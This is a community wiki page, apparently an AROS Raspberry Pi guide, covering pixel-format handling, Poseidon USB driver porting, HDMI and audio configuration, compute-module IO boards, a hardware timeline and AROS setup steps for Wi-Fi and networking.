shifts/masks alone. That's why there's vHidd_PixFmt_SwapPixelBytes_Flag. (RGB16 == RRRRRGGG GGGBBBBB in memory, and for pixel (WORD) access on little endian machine it needs to be accessed as GGGBBBBBRRRRRGGGG). The shifts btw indicate how much to shift the component to the left (!) so that it is moved to the highest bit (31). The aHidd_PixFmt_StdPixFmt you specify will be ignored most of the time, because when the pixelfmt is registered, the gfx hidd checks if there's an identical pixfmt (shifts/masks/etc., but ignoring pixfmt->stdpixfmt) already in the system, and if so, it uses the already existing one and does not create a new one. In theory it would be better if gfx drivers could simply/only specify a StdPixFmt without all the shifts/masks stuff when the gfx driver uses pixfmt which matches one of the stdpixfmts exactly. Another possibility would be for gfx drivers to use HIDD_Gfx_GetPIxFmt(stdpixfmt_gfx_driver_wants_to_use) and then peek shifts/masks from it and fill out a pixfmt tag list based on that. 15bit very blue/green: Try to pass same shifts/masks/etc. as in 16 bit pixfmt (maybe you think it's using 15 bit R5G5B5 (or swapped) but it's actually still using 16 bit R5G6B5 (or swapped). aHidd_PixFmt_StdPixFmt you pass is mostly ignored. It's the shift/masks/etc. that count. But I would still pass the correct one (_LE) == whatever rom/hidds/graphics/stdpixfmts_??.h uses in the entry where you have looked up shifts/masks/etc. Use the shifts/masks/etc. from the entry in stdpixfmt_le.h (if you are running on little endian machine) or stdpixfmt_be.h (if you are running on little endian machine) that matches the pixfmt that its meant to be. 0xAA,0xRR,0xGG,0xBB on little endian (->entry in stdpixfmt_le.h which says vHidd_StdPixFmt_ARGB32) 0xBB,0xGG,0xRR,0xAA on little endian (->entry in stdpixfmt_le.h which says vHidd_StdPixFmt_BGRA32) 0xAA,0xRR,0xGG,0xBB on big endian (->entry in stdpixfmt_be.h which says vHidd_StdPixFmt_ARGB32) 0xBB,0xGG,0xRR,0xAA on big endian (->entry in stdpixfmt_be.h which says vHidd_StdPixFmt_BGRA32) it feels like AROS trashes the alpha component, otherwise it should be 8A8R8G8B. read on the subject suggest its in 1x5r5g5b (x is ignored) to keep 16bit alignment . Suggests to me that wrong shift/mask are being applied - however going by the 16bit versions it all looks correct to me so I am really confused as to what is happening. The output image looks to have too much green/blue, and very weak red. Kickstart The idea is to minimize amount of archirecture-specific modules to make the user's life easier. So, the kickstart was split into 'base' (which does not contain anything machine-specific) and 'BSP' (Board Support Package) which contains all hardware-specific stuff. This way, for example, distribution makers can save up space on CD and make CDs with multiple platform support. Different configuration would load the same base with different BSP's. Next there was some part which is entirely missing on hosted. These are filesystems. Hosted ports do not need them to boot up, so on hosted they are left out. At the other hand, they are also architecture-agnostic. So i put them into 'FS' package (standing for 'filesystem'). USB Poseidon is one more big part. I made it into separate package in order to allow users to omit it if they don't need it (for example, to run on retro PCs without USB). Personally i have one. Again, Poseidon is hardware-agnostic (well, there are USB drivers but HCIs are pretty standard). AFAIK its HCI 1.0 compliant but not familiar enough with poseidons drivers, nor USB, to just hack away at the existing code. Perhaps once i'm more familiar with the workings I can merge in the changes needed to get it operating but for now I will focus on getting it running. Also our drivers have known issues so perhaps a fresh set of eyes might shed some light on what is going wrong. Another interesting question is whether Poseidon can operate on device side. Is it flexible enough? How similar is being a USB host and USB device? think it will need a bit of work on Poseidon's side. Until then I will force the driver into Host/Master mode in the init code, but leave open device etc to configure the chipset for either's use - and look at trying to add support for working in Device/Slave mode & switching modes once it's up and running. Actually USBROMStartup is some kind of kludge. Can there be any alternative? Could device drivers be self-installing, like our HIDDs? This would get rid of need to list them in USBRomStartup. * Model A and B limited to 150 mA per port. * Model B+ and Pi 2 introduced configurable 600 mA to 1.2 A support over all ports - anything above that requires a powered USB hub. Implementing the hardware driver that Poseidon uses to interact with the USB components. Have code in place to (try) and initialise the USB chipset, and configure host/device mode operation (though AFAICT Poseidon doesn't support device mode). Started to get the "virtual" root hub written for the single USB port so that Poseidon should at least list it correctly in the GUI - and try to interact with it to find peripherals. The BCM2835 uses a soft IP block from Synopsys’ DesignWare library (DWC), specifically the block is called dwc_usb_2_0_hs_otg_subsystem-ahb_se (“USB 2.0 Hi-Speed OTG Controller Subsystem w/AHB Interface SE”). There is no public documentation for this, and pretty much zero chance of anyone getting hold of it even with NDA. However, there's a Linux driver written by Synopsys ([https://github.com/raspberrypi/linux dwc_usb]). Specifically directories [https://github.com/raspberrypi/linux/tree/rpi-patches/drivers/usb/host dwc_common_port] and [https://github.com/raspberrypi/linux/tree/rpi-patches/drivers/usb/host dwc_otg]. The Synopsys code is actually under a fairly permissive licence – it's not GPL, it's similar to BSD (’don't sue us if it breaks’ is pretty much the only clause). So this should not be a barrier to porting the code. The code is really well written, with a nice partition between the work done by the driver (dwc_otg, which is fairly involved, given the host does more work than a conventional EHCI driver), and the interface to Linux (dwc_common_port). Probably only need provision of relevant changes to dwc_common_port. Other things to consider.... * Provision of necessary headers to get it to compile * Provision of necessary functions (main issues are wait queues, threads, work queues, tasklets, timers, spinlocks and mutexes (multithreading) ) * Interfacing between USB stack and the driver. dwc_otg/dwc_otg_hcd_linux.c looks like the place to start. the Linux bits of the headers are only required for the dwc_common_port library. dwc_common_port includes a variety of crypto functions which are not used – it appears to also be used for ultrawideband (UWB) and wireless USB (WUSB) drivers where crypto will be an issue, but it isn't going to be for plain wired USB. Every USB driver acts as an USB hub as well in order to let Poseidon control the state of USB ports. The code there was reading status of the only USB port in Raspberry's CPU but when changing the status it erroneously deleted some of the status bits, including the port enable one. It was so because those bits in the status register are of a type Read/WriteToClear. It means, if one does not want to change their value from 1 back to 0, one has to actually write the 0 value. Very practical thing e.g. in interrupt handlers, where one reads the interrupt status register to learn what was the interrupt reason, and writes it back to the same register in order to clear the interrupts. After fixing that code it turned out that the communication was still unsuccessful. Apparently the USB device was not understanding the host for some reason. That should not happen since the request sent was one of the standard ones implemented by virtually anything with an USB connector, assumed that Poseidon clears the data caches before forwarding the work to the USB drivers but that's the responsibility of the driver itself. The USB device responded and acknowledged the transmission! But why were all the request sent after address change failing with timeout? They should not. Once again, address set is supported just by anything. Tried to contact the device at address 0 once again and there it was, still responding properly. The enlightenment came. The bus address for DMA transmissions was, as it is in many bare metal USB implementations, just the pure memory address of the buffer as seen by the ARM cpu. Have "prefixed" it with the real location of uncached RAM and booted AROS once again. Trident saw this: Product : Hub: Vdr=0424/PID=9514 Manufacturer: Standard Microsystems Corp. SerialNumber: n/a /Users/michal/git/AROS/rom/USB/poseidon/./poseidon.library.c:psd_20_psdEnumerateDevice/3092: USBVersion: 0200 Class : 9 SubClass : 0 DevProto : 2 VendorID : 1060 ProductID : 38164 DevVers : 0200 and this: Product : Vendor: Vdr=0424/PID=EC00 Manufacturer: Standard Microsystems Corp. SerialNumber: n/a /Users/michal/git/AROS/rom/USB/poseidon/./poseidon.library.c:psd_20_psdEnumerateDevice/3092: USBVersion: 0200 Class : 255 SubClass : 0 DevProto : 1 VendorID : 1060 ProductID : 60416 DevVers : 0200 and even this: Product : Hub: Vdr=0424/PID=9514 Manufacturer: Standard Microsystems Corp. SerialNumber: n/a /Users/michal/git/AROS/rom/USB/poseidon/./poseidon.library.c:psd_20_psdEnumerateDevice/3092: USBVersion: 0200 Class : 9 SubClass : 0 DevProto : 2 VendorID : 1060 ProductID : 38164 DevVers : 0200 What are these things? The first one is USB hub built in the Raspberry. Thanks to this one the Pi machines (with exception of Pi0 and computing modules) have more than just one single USB port. The second one is the network chip in raspberry, the third one is my USB SD card reader which have just connected to see what happens. AROS tried, of course, to boot from it ;) So, the first step towards working USB is done. The control transfers are working as you can see above. Next step is to implement bulk and interrupt transfers, having the basics in place. Finally some error handling will be added and USB for Pi will be as complete as the PC version. [http://www.raspyfi.com/raspberry-pi-usb-audio-fix/ Issue with USB Audio] Audio [https://github.com/raspberrypi/linux/tree/rpi-patches/sound/arm audio] and its [https://github.com/raspberrypi/firmware/issues/2 very high speed message passing interface type of thing VCHI] The Model B+ added an additional voltage regulator for the audio output and an additional output driver to drive low-resistance loads like headphones. However it is still using pulse-width modulation (PWM), which has a major impact on sound quality the old Raspberry Pi used a linear voltage regulator to provide the 3.3V to many of the components on the board while the new one uses a switching regulator. Both can perform reasonably well. However switch mode power supplies often show higher noise figures Analogue audio Audio over HDMI rev 1.3 & 1.4 Ethernet 10/100 BaseT Ethernet RJ45 socket GPIO GPIO shouldn't be too bad but bear in mind it is already accessed in places so they would need to allocate pins etc through it (e.g. sdcard to flicker the activity light, serial debug to output data on the GPIO pins) Probably a resource rather than a device... Started an i2c driver that will need to allocate GPIO pins. Feel free to work on it if you are interested ;p GPU graphics with 2D and 3D acceleration Sadly none yet for 32bit but for 64bit... Miscellanous hdmi issues Setting the hdmi_force_hotplug=1 makes sure the Pi believes the monitor/TV is really there. You might also need to set config_hdmi_boost=4 or even higher (up to 9) if your display needs a stronger signal. If the display is a computer monitor or newer tv, use hdmi_group=1 (auto HDMI use) and if it is an older TV, try hdmi_group=2 (for DMT formats, i.e. for PC monitors) then you HAVE to "set hdmi_drive = 2 to enable HDMI output as this forces HDMI mode rather than DVI mode Do not set hdmi_safe=1 as that overrides many of the previous options. Using a shorter or better quality HDMI cable might help. Make sure your Pi's power supply delivers 1 A and not 500 mA. If you see a problem with the red colour - either absent, or interference - then try a boost composite video changing the RCA cable, then the composite port worked out of the box Boot it as you are doing, without HDMI. If you now plug in the HDMI, do you get the image? In other words, does the Pi think HDMI is connected even when it isn't? Rename all the files in the first partion of the card except bootcode.bin, start.elf and fixup.dat What's the result? Put back config.txt What's the result? for PAL mode sdtv_mode=2 dmi_ignore_hotplug Pretends HDMI hotplug signal is not asserted so it appears a HDMI display is not attached hdmi_ignore_hotplug=1 Use composite mode even if HDMI monitor is detected <pre> # NOOBS Auto-generated Settings: #hdmi_force_hotplug=1 #config_hdmi_boost=4 #overscan_left=24 #overscan_right=24 #overscan_top=16 #overscan_bottom=16 #disable_overscan=0 start_x=1 gpu_mem=128 </pre> tvservice -c "PAL 4:3" <pre> /opt/vc/bin/tvservice -s or tvservice -s state: HPD high|HDMI mode|HDCP off|composite off (0x12001a), 1920x1080 @ 60 Hz, progressive /opt/vc/bin/tvservice -m CEA Group CEA has 1 modes: (native) mode 16: 1920x1080 @ 60 Hz, progressive /opt/vc/bin/tvservice -m DMT Group DMT has 0 modes: </pre> sudo amixer cset numid=3 1 forces the audio to the headphone jack, even with the HDMI video output plugged in config.txt the hdmi_ignore_edid_audio=1 option sems relevant as it should tell ALSA that the only available audio is analog, no matter what the display says There are several different ways that these 4 pole (ring) composite analog cables can be wired up, so some work great in some applications and can be a waste of time in others. What is needed for the Raspberry Pi B+ and above, which like many camcorders needs the ring contact next to the base contact to be the ground. The wiring for the 4 pole are: TIP (LEFT AUDIO CHANNEL) RING 1 (RIGHT AUDIO CHANNEL) RING 2 (GROUND/EARTH) RING 3 BASE/SLEEVE (VIDEO) YELLOW Most Apple based Players and the Microsoft Zune (TM) are wired this way. Most analogue camcorders are wired this way as well, where the ground in on Ring 2 will work with the Pi although you may need to swap your Video plug with the Right Audio plug. Nearly all other MP3 players are not wired this way, the ground is on another ring ie the wrong one. External devices * Camera Module Omnivision ov5647 Sunny 5MP (NoIR version) V1.3 - NoIR at 850&nbsp;nm, peak at 880&nbsp;nm and trails off at 940&nbsp;nm wavelengths * Camera V2 Sony IMX219 V2.1 8mpixel 8MP 8megapixel - 3280 x 2464 pixels - video at 1080p30, 720p60 and 640x480p90 - wider field of view, 62 vs 54 degrees horizontally - * Branded WIFI usb BCM43143 dongle N.B. dreaded error after changing cameras (stupidly without turning off the power first) and lasted through several power cycles. It can be a bad 15-pin FFC ribbon cable, when swapped, camera(s) and the Pi itself are working OK. It can be an instance of a cold solder joint on the CSI connector on the pi board. the camera can be detected (that's done via I2C) but may still not be able to receive image data (done via CSI-2) if something is broken. CSI-2 is uni-directional. Control is generally done via I2C. The CSI-2 receiver always writes to memory, not direct to the ISP. That's the way the Broadcom architecture works as it allows multipass processing easily. GPU memory is accessible from the ARM. Processing using the QPU graphics processors may be possible. currently the only supported sensor is OV5647 and IMX219. The linux drivers are all in the firmware blob, else you'd be looking at at least a man-month of work in a fully fledged imaging lab to do a decent tuning of the camera modules' ISP parameters. Static electricity maybe an issue for the camera module and slightly less for the pi board. == References == Testing procedure is put sd card in, connect board to board if necessary, plug in hdmi and then power nothing else is done especially CSI DSI etc [https://www.raspberrypi.com/documentation/computers/compute-module.html CM5] has the same 55mm x 40mm 2x100pin connectors form factor as the CM4 but [https://www.epdtonthenet.net/article/214508/Key-Considerations-When-Migrating-from-Raspberry-Pi-CM4-to-CM5.aspx some pins and other small things] have changed. Will need the [https://raspipcb.com/tech-blog/raspberry-pi-cm4-vs-cm5-difference-in-booting-from-sd-card/ right IO board to suit] *Green [ Raspberry Pi Compute Module 5 IO Board REV2 [https://pip.raspberrypi.com/categories/1097-raspberry-pi-compute-module-5-io-board SC1967]] - untested *Green [ RPi Compute Module 5 IO board REV1 [https://pip.raspberrypi.com/categories/1097-raspberry-pi-compute-module-5-io-board SC1751]] - untested *Black SupTronics Geekbord X1500 CM5 IO Carrier Board - untested *Black DeskPi Super6C Cluster Mini-ITX Board - untested *[https://sipeed.com/nanocluster Sipeed NanoCluster] - untested up to 7 CM5 *Green BentoIO CMX0 - untested *Box EDATec ED-CLAWBOX - untested *Home Assistant Yellow - Kit with PoE with Raspberry Pi Compute Module 5 - untested *Blue [https://www.waveshare.com/wiki/CM5_PoE_BASE_A Waveshare CM5-PoE-BASE-A] - untested *Box Waveshare [ CM5-POE-BOX-A] - untested *Blue [https://www.waveshare.com/wiki/CM5-IO-BASE-B Waveshare CM5-IO-BASE-B] - untested *Blue [https://www.waveshare.com/wiki/CM5-IO-BASE-A Waveshare CM5-IO-BASE-A] - untested *Blue Waveshare [https://www.waveshare.com/wiki/CM5-NANO-B CM5-NANO-B] - untested *[https://carboncomputers.us/products/pi-flux piFlux] *[https://carboncomputers.us/products/ Zitaotech Hackberry] CM5 lite only - *Portable [https://www.waveshare.com/pocketterm35.htm Waveshare PocketTerm35] with Pi4B or Pi5 - untested *Box [https://www.clockworkpi.com/uconsole ClockworkPi uConsole][https://www.youtube.com/watch?v=EtI_bAahbR8 CM4 into an adapter or CM3 into so-dimm - Cyberdeck] - untested *Green RPi [https://datasheets.raspberrypi.com/cm4io/CM4IO-KiCAD.zip Compute Module 4] [https://datasheets.raspberrypi.com/cm4io/cm4io-datasheet.pdf IO board] V1.4 [https://datasheets.raspberrypi.com/cm4io/CM4IOUSB3-KiCAD.zip USB3] [https://datasheets.raspberrypi.com/cm4io/cm4iousb3-appnote.pdf CM4ISO] [https://datasheets.raspberrypi.com/cm4/cm4-datasheet.pdf Dual100pin] (2020) aka Development Platform Board - untested *Purple Pi Hut Cytron CM4 Maker Board - untested *Black DeskPi Super6C Cluster Mini-ITX Board - untested *[ KubeSail PiBox mini 2] *Home Assistant Yellow with Raspberry Pi Compute Module 4 - untested *[ Turing Pi V2] - untested CM4 with 260-pin SO-DIMM socket adapters and/or nvidia jetson nanos - untested *Blue [https://www.waveshare.com/wiki/CM4-IO-BASE-C Waveshare CM4-IO-BASE-C] - untested but binary blobs Rev01 Rev02 *Blue [https://www.waveshare.com/wiki/CM4-IO-BASE-B Waveshare CM4-IO-BASE-B] - untested but binary blobs *Blue [https://www.waveshare.com/wiki/CM4-IO-BASE-A Waveshare CM4-IO-BASE-A] - untested but binary blobs *Blue [https://www.waveshare.com/wiki/CM4-NANO-B Waveshare CM4-NANO] - untested but usb and audio turned off or rerouted CM3 has a 200 pin sodimm ddr2 connector form factor but not electrically SC0028, SC0029 *Blue [https://wiki.geekworm.com/CM_IO_Board Geekworm RPi Compute Module IO Board] [https://github.com/geekworm-com/cm-io-board CSI DSI] with CM3 in ddr2 slot underside - '''works''' if SW1 on but CM3+ '''does not''' *Green [https://cdn-shop.adafruit.com/product-files/3442/CMIO_schematic.pdf RPi V3 IO board CM3IO] and CM3 Lite - untested *Green [https://turingpi.com/ turingpi v1 cluster] - untested up to 7 cm3 7xlan9514 12V discontinued, 3 x Pi4 homelab maybe better *Blue [https://www.waveshare.com/wiki/Compute_Module_PoE_Board Waveshare Compute Module PoE Board] and CM3 lite (if not lite, write files to internal eMMC fat32) '''AVOID''' bin blobs *Blue [https://www.waveshare.com/compute-module-io-board-plus.htm Waveshare Compute Module IO Board Plus] [https://www.waveshare.com/wiki/Compute_Module_IO_Board_Plus wiki] [https://forums.raspberrypi.com/viewtopic.php?t=235695 pin settings] with CM3+ Lite - '''AVOID''' binary blob *[ Pi02w on Geekworm SupTronics X305 Raspberry Pi Zero IO Baseboard] - untested *[ Spotpear Pi Zero 2w to Pi3b format-ish] - untested *[ pi-top v4] box has 128x64 oled display, micro hdmi, 19Whr battery with pi4 and 15V PD 36W min needed *[ pi-top v3] three green pieces, heatsink covers most of the base tray, pi-top hub mk1 lhs and Pi1B Pi2b Pi3b rhs secured from below, black rounded strip with pi-top above keyboard, 13.3" HD 1366 x 768 display, small touchpad, *[ pi-top Model 2.0] pi-top on bottom bezel of 14-inch green laptop, large trackpad, keyboard slide down to reveal main system hub on slide rails moved to the right, Raspberry Pi3b screws down, hub slides in, 18V 2.5A 45W charger brick, battery 11.1V 3500mAh 38.85Wh and storage PiTopOS *[ Pi-Top CEED Raspberry Pi Modular Educational Desktop with RPI3] monitor *[https://www.indiegogo.com/en/projects/jesselozano/pi-top-a-raspberry-pi-laptop-you-build-yourself Pi-Top v1] wedge laptop with RPi2 <pre> 2008 Trustees collected for Foundation 2009 Pi Foundation charity status gained 2010 2011 First Raspberry prototypes 2012 First boards go on sale at CPC and RS. The Model A and B 700 MHz Arm11 - February 29th BCM 2835 2012 First million sold - more than the 10,000 original planned and anticipated 2013 First Alpha Experimental builds of AROS Native for the 32bit Pi 2013 Pi Trading launched making grants available, providing in house educational resources and Pi Academy for teacher training 2013 Over two million sold 2014 Over three million sold 2014 Pi 1 Model B+ introduced that moved composite video to audio jack and same half gig of memory 2014 Pi Model A+ v1.1 no ethernet and 1 usb - a little smaller - 2015 Over four million first gen pis sold 2015 Pi Zero 1.2 BCM2835 first production revision released with no camera port 2016 Pi0 1.3 released with camera csi connector 2017 Pi Zero W v1.1 1GHz Pi0W, single-core 32bit CPU BCM2835 released with Cypress CYW43438 wireless 2020 Raspberry Pi Pico SC0919 with RP2040 32-bit 2Core ARM Cortex-M0+ up to 133 MHz - 264KB of SRAM and 2MB of on-board QSPI Flash - 2024 Raspberry Pi Pico 2 with RP2350 2Core 32bit Arm Cortex-M33 and 2core open-hardware [https://github.com/wren6991/hazard3 Hazard3 RISC-V] 2015 Pi 2 Model B v1.1 BCM2836 900/600 MHz ARM Cortex-A7 Armv7 quad 32bit, 32bit VideoCore IV GPU - 1Gb RAM - 5V 2A micro usb - SMSC LAN9514 chip - 2015 Over a million pi2s sold 2015 Raspberry Pi 2 Model B version 1.2 Pi2bv1.2, aka Pi2B2 has armv8 BCM2837 underclocked to 900Mhz without wifi/bluetooth module 2016 Pi 3 Model B - Broadcom BCM2837 SOC four 64bit ARMv8 Cortex-A53 1.2GHz 32bit 1080p VideoCore IV GPU - 1Gb DDR2 - bluetooth 4.1, Cypress CYW43438 wireless 802.11n - 4 x USB2.0 ports - 5.1V 2.5A - SMSC LAN9514 chip 2016 PIs total over 10 million worldwide 2017 Compute Module 3 CM3 with BCM2837B0 armv8 Quad 64-bit - small 67.6mm x 31mm board which fits DDR2 SODIMM connector but not electrically compatible which plugs into needed IO board - beware of the I2C protocol issue 1Gb LPDDR2 RAM - Lite or 4Gb Emmc storage 2017 12 million pis sold in total 2018 Pi 3 Model B+ - 4c A53 BCM2837B0 1.4Ghz - 1Gb, wireless 802.11ac, gigabit ethernet (300Mbit/s) and bluetooth 4.2 - power over ethernet - 4 x USB2.0 ports - Microchip LAN7515 chip 2019 Over 15 million sold 2019 Pi 3 Model A+ with BCM2837b0 Cortex-A53 64-bit SoC @ 1.4 GHz with 512Mb LPDDR2, 1 usb2, 1 hdmi, 1 micro usb 5V 2A - no ethernet - 2019 Raspberry Pi Compute Module 3+ CM3+ - Broadcom BCM2837B0 1.2Ghz, Cortex-A53 (ARMv8) 64-bit SoC on DDR2 SODIMM mechanically compatible only factor - IO board required 1Gb DDR2 and 8GB, 16GB, 32GB or a Lite variant without eMMC 2021 Pi zero 2 (w or no W) RP3A0 quad 1GHz Cortex-A53 64bit BCM2710A1 512mB SDRam 2025 edaTEC CM0 ED-CM0NANA with additional dev board with quad 1Ghz A53 with 512Mb Raysan RAM, 2 USB2 and 10/100 ethernet - pico castellated edge 2019 Pi 4 Model B RPI4B - BCM2711B0T quad 64bit A72 1.5GHz, 4K VideoCore VI, AC wifi, Bluetooth 5.0, GbE Broadcom BCM54213PE (PHY ID 0x600d84a2), 2 micro hdmi decode up to 4K, USB-C 5.1V 3A power, 2xVLI VL805 USB 3, 2xUSB 2.0, 2GB 9LDWW D9WHZ or 4GB 9FDWW D9WHV, 8GB 0AA47 D9ZCL ddr4 ram 2020 Silent Pi 4 v1.2 upgrade with more USB-c psu support 2020 PI400 BCM2711C0T 1.8GHz 4Gb DDR4 inside keyboard, 5.1V 5A 27W usb-c psu, 2 micro hdmi, external ide style 40pin gpio, no audio port - 2020 Raspberry Pi Compute Module 4 BCM2711B0T on new 55mm x 40mm 2x100 pin form factor with extra breakout IO board CM4101000 1Gb RAM Lite SOM CM4102000 2GB RAM Lite CM4104000 4GB RAM Lite CM4004008-4GB-RAM 8GB-EMMC SOM System on Modules CM4104032 4GB RAM 32GB emmc CM4108000 8GB RAM Lite CM4008016 8GB RAM 16Gb eMMc 2021 Raspberry Pi SC0763 Compute Module 4S CM4S with ddr2 sodimm pinouts but not electrically the same with suitable IO board extra cost - CM4S01000 1GB RAM Lite CM4S01008 1GB RAM 8GB eMMC Flash CM4S02000 2GB RAM Lite CM4S04000 4GB RAM Lite CM4S08000 8GB RAM Lite 2021 Pi 4 v1.4 BCM2711B1 upgraded power regulator, to deal with 8gig of ram being more power hungry - 2021-48 Raspberry Pi 4 model B v1.5 2GB 2023 Pi 5 v1.0 BCM2712 Quad A76 @2.4Ghz - VideoCore VII - no audio socket - dual 4k from mini hdmi - fan connector - 5.1V 5A psu 2024 Pi 5 2GB DDR4 version uses BCM2712D0 2024 Pi-500 with 8Gb LPDDR5 and membrane keyboard 2024 Pi 5 v1.1 2024 Raspberry Pi Compute Module 5 CM5 BCM2712 55mm x 40mm form factor with additional IO board CM5004000 04GB RAM 0GB eMMC Lite CM5008000 08GB RAM 0GB eMMC Lite CM5016000 16GB RAM 0GB eMMC Lite 2025 Pi-500+ with 256GB NVMe storage, 16GB LPDDR4 RAM, and Gateron KS-33 Low Profile Blue mechanical keyboard switches 2025 Pi5 1GB DDR4 announced 2022 PiOS linux goes 64bit 2024 Pi Trading IPO stockmarket stock exchange listing 2026 April and May Aros 64bit fixed, added AHI audio, VC4 gfx started, usb functions added to rom 2026 June and July Aros 64bit usb2otg started, dma.resource, sdio.resource, bwfm.device wifi added 2026 Late July daily 64bit Pi3 LE little endian builds start 2026 August Pi 4, 400, 5 and 500 DTBs added, expanding existing support and wifi for Pi4 and Pi5 2026 August Pi5 HAT+ nvme and HDMI, AHI RPiI2S added, Pi4 HVS5 video scaler started, 2026 2027 2028 Pi 6 </pre> ==Future== [https://github.com/ARMSX2/ARMSX2 Arm pi of pcsx2] {{BookCat}} egvx6ucuv5c1pyp5fombcsq34od7ges 4670894 4670889 2026-09-18T11:20:45Z Jeff1138 301139 4670894 wikitext text/x-wiki {{ArosNav}} [[#Native]] [[#Hosted]] [[#Build]] [[#Hardware]] [[#References]] [[#Future]] ==Introduction== [[File:Scalos00.png|thumb|Scalos on Aros Pi3b]] Aros aims to cover Pi 3 to 5 1Gb+ RAM ideally as you may have to switch to 256Mb gfx mode depending on the application running Options to boot from using a good power source to prevent the yellow lightning symbol. *With Pi3b+ the max you can get is 5.1V 2.5A with micro usb. *With Pi4 5.1V 3A with usb-c *With Pi5 5.1V 5A, the amps went ever upwards, even to 5.1V 9A with usb-c Pi500+ keyboard wedge - Pi400 RPI-400 keyboard wedge - resolution changing and audio from micro hdmi0 (near 40pin) and micro hdmi1 (near usb-c psu) - Fn F10 0x5e power on and off works or held down for over 7 seconds auto shutdown - keyboard ok - wifi and lan ethernet testing - * Pi 5 - Quad A76 64bit ARMv8 and RP1 "southbridge" with VideoCore 7 Pre-D0 (Rev1.0) or D0 (rev1.1) * Pi 4 - Quad A72 64bit ARMv8 with VideoCore 6 * Pi 3 - Quad A53 [https://www.raspberrypi.com/documentation/computers/processors.html 64 bit] ARMv8 with VideoCore 4 with heatsink/fan on 3b to prevent cpu 82C+ throttling * Pi 2 - Quad 32bit ARMv6 with VideoCore 4 - mostly not 64bit compatible * Pi Model B+ 32bit ARMv6 with VideoCore 4 - not 64bit compatible * Pi Model A and B 32bit ARMv6 with VideoCore 4 - not 64bit compatible ===Native=== * 2013-03 Kalamatee starts work * 2015-04 Work continues with mschulz on the kernel and Kalamatee (NicJA) on gpio and usb * 2018 [https://www.patreon.com/posts/i-owe-you-some-20956961 mschulz resume adding BE big endian support], [https://www.patreon.com/michal_schulz/posts Big endian on Pi] * 2026 [https://github.com/aros-development-team/AROS/commits?author=bsek latest commits for pi 3b, 4 and 5 64bit] * 2026 [https://github.com/aros-development-team/AROS/commits?author=metaneutrons latest commits for Pi5] * 2026 [https://github.com/aros-development-team/AROS/commits?author=bitplane latest commits for ARM] '''Download''' [https://aros.sourceforge.io/nightly1.html RaspberryPi 3, 3+, 4 and 5 64bit ArmV8 builds] [https://sourceforge.net/projects/aros/files/ Alternative site and nightly2] both raspi-aarch64-system and raspi-aarch64-contrib can be unbz2'd and copied to fat32 8GB+ microSD card (there will be folders - boot c Classes Demos Developer Devs Extras etc only showing). The SD can be plugged in to the Pi 64bit build works well on a single core LE little endian. Multicore [https://github.com/aros-development-team/AROS/commit/1df0747c2bda3523a43029725a709b1f377d84ec may follow]. Any issues booting could be down to the SD card so please use another SD to see if it is resolved. Please report your experiences in the [https://www.arosworld.org/infusions/forum/viewthread.php?thread_id=2019&rowstart=80 Aros Raspberry pi 3 64bit thread] and on the [https://forums.raspberrypi.com/viewtopic.php?p=2387984#p2387984 Raspberry Pi forum thread] Boots with '''USB3''' port based sata3 ssd on Pi400 but untested on Pi4 (may need eeprom update from PiOS or Pi SD Imager) and Pi5 Pi 3 B+ is pre-configured for USB sata3 boot - untested Pi 3 B may need [https://www.youtube.com/watch?v=ubnwvxF3Klc PiOS to set OTP to boot from usb - do so at your own risk] - if OTP set to usb, boot works but slower than SD card Speed write wise (top faster) <pre> *NVME Pi5 untested >1000MB/sec or faster if matched correctly *Sata3 ssd 500MB/sec *SD V90 90MB/sec 4K maybe 8K *SD V60 60MB/sec 1080p *SD U3 V30 30MB/sec 720p *SD C10 U1 V10 A1 A2 10MB/sec minimum should be used now *SD C06 6MB/sec *SD C04 4MB/sec </pre> As a homage to the past, Aros shows a reduced number of icons but this can be changed by left mouse click in the window and then right click down to Window -> View -> All files Windows can be manipulated by the top (moving) and the bottom right corner (resizing) only. Zune like MUI gui interface, has a unique quirk in that after changing a setting in a text box, you may sometimes need to press Enter/Return before clicking OK, Save, etc Like most amiga like OSs the audio and networking need to be setup manually Audio AHI prefs - Mode settings tab - needs both Music unit and Unit 0 set to RPiHDMI:16 bit stereo++ or RPiPWM:16 bit stereo++ at 44100Hz. Press '''Save or Use''' button after each choice Double left mouse click on most picture (Developer/Debug/Tests/Datatypes), audio and video files are supported, via datatypes, by the multiview application. Esc escape key usually closes open windows even the desktop In Prefs/Appearance some decorative theming elements need work. There is a few Mason icons in /Prefs/Presets/Icons/Mason/ and the ever present default Gorilla - Icon exchange in works For more intensive graphics applications, you may need to edit config.txt in the root folder and change 128M to 256M to adjust more memory to graphics usage [http://archives.arosworld.org/index.php?function=browse&cat=network/browser amelinium web browser] is available with an [https://eab.abime.net/showthread.php?t=122494&page=51 eab thread] reminiscent of [https://github.com/zapek/Voyager Voyager] and to a lesser extent [https://github.com/amigazen/aweb3/ Aweb]. [[File:Wifi00.png|thumb|Setup wifi on Aros Pi3b]] [[File:Wifi01.png|thumb|Setup wifi on Aros Pi3b]] [[File:Wifi02.png|thumb|Setup wifi on Aros Pi3b]] Wifi setup needs the network prefs with the TCP/IP tab click add interface -> change Device to bwfm.device as net0:, IP Mode as DHCP and IPv4. Wireless tab gets your router settings. If it does not set to start at boot, settings are preserved. Instead, add this to the user-startup: <pre> execute sys:system/network/arostcp/s/startnet run wirelessmanager device=bwfm.device >nil: </pre> Network will start automatically on boot. If you don't want the wirelessmanager icon on Wanderer desktop, just add 'nogui' to the wirelessmanager line Lan ethernet port on *lan9514 Pi3b Pi2 no support at the moment *lan7515 Pi3b+ type into Device usblan78xx.device as net0: remove other device(s) *bcmgenet Pi4 Pi400 choose for Device bcmgenet.device Summary *3b ethernet not supported, usb ethernet not working and setup wifi has interface issues *3b+ seems to work wifi and ethernet *4 untested *400 seems to work wifi and ethernet (with interface issues) There is normally no Bluetooth support for most amiga like OSs but Aros has one [https://github.com/aros-development-team/AROS/commit/6942cbfbf66426d21963a7fcd8aba6aff611a9e0 work in progress] [https://forums.raspberrypi.com/viewtopic.php?t=338466 firmware] *Bluetooth 4.1 BCM43430A1.hcd Pi3B, Pi3A, Zero 2W *Bluetooth 4.2 BCM4345C0.hcd Pi3B+, Pi4 *Bluetooth 5.0 BCM4345C5.hcd Pi4B rev, CM4 and maybe Pi5 and CM5 *bthid keyboard mouse support *btserial serial *btpan short range wireless connecting devices Only the Pi5 has a RTC real time clock, the other Pis will need to use Extras:Networking/utils/ntpsync/ or [https://archives.arosworld.org/index.php?function=browse&cat=network PiNTP] to get the date and time from the internet It helps to have all usb devices already plugged in before power on to detect at the moment. Even then some usb devices will freeze the mouse cursor and the only resolution is to remove 